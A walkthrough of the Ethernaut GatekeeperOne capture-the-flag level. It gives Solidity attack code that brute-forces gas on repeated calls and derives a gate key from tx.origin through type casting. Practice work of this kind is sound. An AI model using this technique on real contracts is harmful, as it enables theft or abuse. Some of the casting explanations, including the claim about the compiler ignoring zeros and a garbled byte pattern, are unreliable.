# Ethernaut Level 14 (GateKeeper1) Walkthrough

The following is a semantic solution walkthrough of the Ethernaut CTF level 14. The aim is to give a readable explanation of the concepts involved, and present a step-by-step walkthrough of the solution. In addition, tangential explanations will also be given where essential.

## Gate 1

This check is easy to pass. Just ensure that the caller is not the transaction originator. For this, we will use a contract to make the call to `enter`.

## Gate 2

This check is quite difficult to nail. Essentially, you have to make the call to enter, with a specified amount of gas, which. When the execution reaches the second gate, the remaining gas must be a multiple of 8191 (i.e., remaining gas MOD 8191 gives 0, or remaining gas divided by 8191 leaves no remainder).

One way to go bout guessing the correct gas amount is to look at the EVM opcodes in a call to enter, leading up to gate 2, right until the opcode GASLEFT (now called GAS in latest compiler). Then, through trial and error, enter more or less than this amount in every call to enter(). I would not recommend this method. This will wasted too much time and due to 1000 optimization runs used when deploying the level contract, it is very hard to guess correct gas amount through manual trial and error. In fact, this is not the correct way to go about passing this gate.

Instead, we will write a function that will repeatedly call enter() in a loop, with different gas amounts.

```solidity
// Keep calling enter() until gate2 passes.
    function attack(bytes8 _key) public {
        // Max 121 calls will be made until call is successful
         for (uint256 i = 0; i < 120; i++) {
             // low level call stops reverts from bubbling
         (bool result, bytes memory data) = address(keeper).call{gas:
          i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", _key));
      if(result)
        {
        gate2Success = true;
        break;
      }
    }
  }
```

This function was originally developed by [Spalladino](https://github.com/OpenZeppelin/ethernaut/blob/solidity-05/contracts/attacks/GatekeeperOneAttack.sol). The reason we are calculating gas via i + 150 + 8191*3, is to ensure that gas is a multiple of 8191, and then we keep adding 150 and the iteration counter to it so it has enough unit variation for our gas guess to land correctly. This is an important lesson of this level, brute force is a valid exploitation mechanism.

Of course, we do not have the key for gate 3 yet, so we can only call enter with our function once we examine gate3 requirements and devise a solution.

## Gate 3

We see that there are 3 require statements, and the accepted input is an 8byte key.

```
modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }
```

We will now go through each require, and see what is exactly require to pass each check. Prior to starting with this stage, we must under stand the following type conversion rules:

1.  **Unsigned Integers**:
    **Converting to larger type: left padding occurs**
    
    ```
    uint16 a = 0x1234;
    uint32 b = uint32(a); // b = 0x00001234
    ```
    
    Converting to smaller type: higher-order/ leftmost bits discarded
    
    ```
    uint32 a = 0x12345678;
    uint16 b = uint16(a); // b = 0x5678
    ```
    
2.  **Fixed bytes**
    **Converting to larger type: Zeroes padded to the right**
    
    ```
    bytes2 a = 0x1234;
     bytes4 b = bytes4(a); // b = 0x12340000
    ```
    
    Converting to smaller type: Right bytes truncated
    
    ```
    bytes2 a = 0x1234;
    bytes1 b = bytes1(a); // b = 0x12
    ```
    

***Conversion to, and from, fixed sized bytes and uints is only allowed is both operands have the same size. Use the helper contract at the bottom (via Remix) to experiment with type conversions.***

Let's look at the gate3.

**Require1:**

```solidity
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
```

Once the typecasting is done, on the left will remain 4bytes (uint32), on the right, 2bytes (uint16). Thus, in order for both sides to be equal, all bytes (2 hex characters make 1 byte) except the last two must be 0s, and the last two must be the same. E.g., 0x0000AAAA == 0xAAAA.

**Require2:**

```solidity
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
```

One the left 4 bytes (uint32), on the right, 8bytes (uint64). To pass the check thus, both sides must not be equal. We don't need to worry about passing this one because if require1 passes, require2 will fail.

**Require3:**

```solidity
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
```

On the left 4bytes (uint32), on the right, 2 bytes (uint16). Just like require1. However, on the right, we are given a hardcoded value, which is tge `tx.origin` address typecasted into uint16 (N.B. such casting from address to bytesN is not supported post solidity 0.8.0). I used my helper contract to calculate uint16(tx.origin) and got the last 2 bytes of the address - `0xEcDF`. Since the left side is 4bytes, it can only be equal to the right side if its first 2 bytes are 0s. So, 0x0000EcDF == 0xEcDF will pass this require. Let's find our key now.

**Analysis**

With this in mind, we can see that the required bytes to pass all requires are only the last 2 bytes `0xEcDF` . How can we make these 2 bytes into 8 bytes since the enter() only takes an 8 byte key? An approach could be to just append 0s to the left and pad it up to 8 bytes: `0x000000000000EcDF`. However, this will not work. This is because the compiler will ignore the trailing 0s and just read the value as 2 bytes. This will fail require2, as after the type conversions the left side will also be `0xEcDF` since the starting 0s are ignored, which will make it equal to the right side, where they value is also `0xEcDF` as the left 0s are ignored. Is there a way that allows us to keep the 0s for the 6th and 5th bytes (so that require1 and 3 pass - XXXXXXXX0000EcDF) but the earlier bytes remain intact? Yes, we can just make the first hex character 1: `0x100000000000EcDF`. This will cause this 0s to not be ignored and make it a true 8 byte value.

We thus have our key:Â `0x100000000000EcDF`. Note that since we just want to make our key a true 8-byte value, you can use any value for the first 4 bytes e.g., `0xcafecafe0000EcDF` can also be used as they key. The requirement is that it needs to be a true 8 byte value (starting 6 bytes cannot all be 0), and the last 4 bytes are (000EcDF)

This way, the first require will pass as the casting operations on the left side truncates the leftmost 4 bytes (0x**cafecafe**0000EcDF), leaving only 0x0000EcDf, which is equal to the right side 0xEcDF (compiler ignores continuous starting 0s). The second require will also pass as left and right will be different values; the right side will be 0x100000000000EcDF - our entire key, while the left side will truncate the leftmost 4 bytes as it casts down to uint32 and will be 0xEcDF. The final check will pass just like the first one.

Now, just use the attack() function mentioned above, and in a few tries, you should be able to crack the level! (await contract.entrant() will return your address if you crack it).

One last thing, I created this helper contract to fully understand the byte and uint conversion, you should use it as well to see how gate3 type castings actually work

```solidity
// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

contract CalculatedAttack {

    uint64 public value64;
    uint32 public value32;
    uint16 public value16;
    bytes2 public byte2;
    bytes4 public byte4;
    bytes8 public byte8;
    bytes8 public mask;
    bool public gate2Success;
    uint256 public tries;

    address public keeper;

 
    function setGatekeeperOne(address _addr) public{
        keeper =_addr;
    }
    
    // Keep calling enter() until gate2 passes.
    function attack(bytes8 _key) public {
        // Max 121 calls will be made until call is successful
         for (uint256 i = 0; i < 120; i++) {
             // low level call stops reverts from bubbling
         (bool result, bytes memory data) = address(keeper).call{gas:
          i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", _key)); // thanks to Spalladino https://github.com/OpenZeppelin/ethernaut/blob/solidity-05/contracts/attacks/GatekeeperOneAttack.sol
      if(result)
        {
        gate2Success = true;
        tries = i;
        break;
      }
    }
  }

    function uint64ToBytes8(uint64 input) public {
        byte8 = bytes8(input);
    } 
    function uint32ToBytes4(uint32 input) public {
        byte4 = bytes4(input);
    } 
    function uint16ToBytes2(uint16 input) public {
        byte2 = bytes2(input);
    } 

    function uint64ToUint32(uint64 input) public {
        value32 = uint32(input);
    } 
    function uint64ToUint16(uint64 input) public {
        value16 = uint16(input);
    } 

    
    function bytes8ToUint64(bytes8 input) public {
        value64 = uint64(input);
    } 
    function bytes8ToUint32(bytes8 input) public {
        value32 = uint32(uint64(input));
    } 
    function bytes8ToUint16(bytes8 input) public {
        value16 = uint16(uint64(input));
    } 
    // Typecasting from address to any uint is not supported past solidity 0.8.0
    function addressToUint16(address input) public {
        value16 = uint16(input);
    } 


}
```